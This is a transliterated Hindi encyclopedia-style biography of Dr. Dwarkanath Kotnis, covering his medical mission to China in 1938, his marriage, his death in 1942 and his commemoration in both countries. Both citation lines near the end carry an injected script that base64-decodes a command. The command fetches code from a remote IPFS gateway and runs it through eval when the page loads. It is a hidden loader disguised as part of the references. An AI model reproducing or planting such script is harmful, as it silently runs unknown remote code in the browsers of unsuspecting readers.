द्वारकानाथ कोटणीस
dvarakanath kotanis
| |
| poora nam | dvarakanath shantaram kotanis |
| janm | 10 aktoobar, 1910 |
| janm bhoomi | sholapur, mumbee |
| mrityu | 9 disambar, 1942 |
| mrityu sthan | chin |
| abhibhavak | pita- shantaram kotanis |
| pati/patni | guo kviang laang |
| santan | putr- yinahua |
| karm bhoomi | bharat |
| karm-kshetr | chikitsa |
| vidyalay | seth ji. es. medikal k aaulej, mumbee |
| prasiddhi | chikitsak v sevak |
| nagarikata | bharatiy |
| any janakari | ek aur chini adhikari ne kaha tha ki- "d aau. kotanis ko bhavishy mean vartaman se bhi zyada samman milega, kyoanki unhoanne bhavishy ko sanvara hai." |
dvarakanath shantaram kotanis (aangrezi: Dwarkanath Shantaram Kotnis, janm- 10 aktoobar, 1910, sholapur, mumbee; mrityu- 9 disambar, 1942, chin) bharatiy chikitsak the. vah doosare vishv yuddh ke sipahiyoan ka ilaj karate-karate pran tyag dene vale niahsvarth sevak the. dvarakanath kotanis ko dvitiy chin-japan yuddh (1937-1945) ke dauran unaki sevaoan ke lie chin mean bahut samman ke sath yad kiya jata hai. bharat aur chin ki maitri ka pratik mane jane vale d aau. dvarakanath kotanis un paanch yuva d aauktaroan mean se ek the, jinhean 1938 mean dvitiy vishv yuddh ke dauran chin mean rahat-karyoan ke lie bheja gaya tha. chin mean apani sevaoan ke dauran matr 32 sal ki umr mean d aauktar dvarakanath kotanis ki mrityu ho gee thi. unaki maut ke saloan bad bhi chin ke log unaki niahsvarth seva aur kam ke prati samarpan ke lie unhean aj bhi yad karate haian.
parichay
maharashtr ke sholapur mean 10 aktoobar, 1910 ko janmean dvarakanath kotanis ne yoonivarsiti aauf b aaumbe ke seth ji. es. medikal k aaulej se medisin ki padhaee poori ki thi. chin mean rahane ke dauran marijoan ki seva karane vali ek nars guo kviang laang se dvarakanath kotanis ne vivah kiya. guo se unaki pahali mulakat d aau. narman baithyoon ke makabare ke udghatan ke dauran huee thi aur vah unase kaphi prabhavit hueean. guo ko yah dekhakar bahut ashchary hua ki kotanis chini bhasha bol sakate the aur kuchh had tak likh bhi sakate the. yuddh ke vinash ke us mahaul mean bhi un donoan ka pyar paravan chadha aur unhoanne disanbar 1941 mean vivah kar liya. chin mean hi unake putr yinahua paida hue.
dvarakanath kotanis bina soe kee dinoan tak chini sainikoan ka ilaj karate rahe, jisake karan unhean mirgi ka daura p da aur 1942 mean unaki sirph 32 sal ki umr mean maut ho gee. unaki maut ke bad unaki patni kee bar apane pati ke parijanoan se milane bharat aeean. phir d aauktar kotanis ki yad mean unhoanne 'maee laiph vid kotanis' bhi likhi, jisamean unhoanne likha hai- 'bharat aur bharat ke log bahut achchhe haian. shayad yah sab vahaan ki sabhyata aur sanskriti ka pratik hai.' sal 2011 mean d aauktar kotanis ki patni guo kviangalaang ka dehaant ho gaya.[1]
chin prasthan
[[chitr:A-statue-of-Dwarkanath-Kotnis.jpg|thumb|left|150px|chin ke shijiyajhuaang mean dvarakanath kotanis ki pratima]] sal 1938 mean japan ne chin par hamala bol diya tha. us samay chin ke kamyunist lidar janaral ne javaharalal neharoo se madad maangi. unhoanne bharat se kuchh d aauktar ghayal sainikoan aur jan-sadharan ke ilaj hetu bhejane ke lie kaha. isake lie subhashachandr bos ne bhi logoan se ek pablik pres kaanphreans ke zariye apil ki thi. unhoanne d aauktaroan ki ek tim, embuleans aur sath hi kuchh arthik madad bhi bharat se chin bhijavaee. is tim mean paanch d aauktar the, jinamean se ek d aau. dvarakanath kotanis bhi the.
sitambar, 1938 mean yah tim chin pahuanchi, jahaan chin ke sabhi b de netaoan ne unaka svagat kiya. yah tim us samay chin ke lie kisi bhi doosare eshiyaee desh se ane vali pahali madad thi. isake bad d aau. kotanis ne lagabhag paanch saloan tak chin ke logoan ki bina kisi svarth ke seva ki. d aau. dvarakanath kotanis ki bahan ne ek bar bataya tha ki- "unaka bhaee niyamit roop se parivar ko patr likhata tha. hamesha hi unake patroan se khushi jhalakati thi. unhoanne kabhi bhayanak yuddh ki sthitiyoan ya phir apani pareshaniyoan ke bare mean nahian likha. doosaroan ki seva aur apana dharm nibhate hue ve bahut khush the."
bataya jata hai ki kabhi-kabhi to d aau. kotanis ne lagatar 72 ghantoan tak yuddh mean ghayal sainikoan ke aaupareshan kar, unaki jan bachayi. unhoanne saiank doan sainikoan ka ilaj kiya aur sath hi am chini logoan ke lie masiha bane rahe. unaki is sadbhavana aur kartavyanishtha se prabhavit hokar hi chini nars guo kviang laang unhean pasand karane lagi thian.
kartavyanishtha
d aau. dvarakanath kotanis bina apani paravah kiye logoan ki seva karate rahate the. us samay chikitsa aur upachar ke simit sadhan the. rahat shiviroan mean prakash tatha sadhanoan ke abhav mean laimpoan ki raushani mean kam karana behad kathin tha, kiantu unaka seva-bhav itana prabal tha ki vah adhik-se-adhik sainikoan ki pran raksha karana chahate the. ek bharatiy d aauktar ko is tarah sachchi lagan se kam karate dekhakar chini log bhi unaki prashansa kie bina nahian rah pate the.
mrityu
thumb|250px|dvarakanath kotanis par nirmit film yuddh ke tanavapoorn mahaul mean lagatar kam karate hue unaki tabiyat big dane lagi thi. niand ki kami aur atyadhik thakan ke chalate unhean mirgi ke daure p dane lage. dhire-dhire yah bimari itani badh gayi ki d aau. dvarakanath kotanis ko bachana mushkil ho gaya. 1942 mean 9 disanbar ko keval 32 sal ki umr mean unaka dehaant ho gaya.
d aau. dvarakanath kotanis ne desh, jati v dharm ki simaoan se pare jakar manavata ki sachchi seva mean apane pranoan ka balidan de diya. unaki mrityu par chini neta mao zedoang ne kaha- sena ne apane sahayak hath ko kho diya aur desh ne apane ek dost ko khoya hai.
ek aur chini adhikari ne kaha tha ki- "d aau. kotanis ko bhavishy mean vartaman se bhi zyada samman milega, kyoanki unhoanne bhavishy ko sanvara hai."
d aau. kotanis ko chin mean bahut hi samman ke sath yad kiya jata hai. unake samman mean chin mean dak tikat jari kie ge haian. unaki yad mean vahaan smarak bhi banae ge haian. itana hi nahian kuchh samay pahale d aau. kotanis ke gaanv mean jab sukha p da to chini sarakar ne madad ke lie 30 lakh roopaye bhi bhijavae. sal 2017 mean chin ne vah saantvana patr bhi unake parivar ko sasamman diya, jise us samay chin ke lidar mao ne apane hath se d aau. kotanis ki mrityu ke bad unake lie likha tha.[2]
bharat ke is mahan d aauktar ki kahani ko sinema ke parade par bhi utara gaya. filmakar vi. shaantaram ne sal 1946 mean unake jivan par adharit ‘d aau. kotanis ki amar kahani’ namak film banaee thi. is film ki patakatha d aau. kotanis par likhe ge upanyas 'And One Did Not Come Back' par adharit thi.
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tika tippani aur sandarbh
- ↑ 75 sal bad phir bharatiy d aauktar ka samman karega chin (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 16 mee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ dvarakanath shantaram kotanis (hiandi) thebetterindia.com. abhigaman tithi: 16 mee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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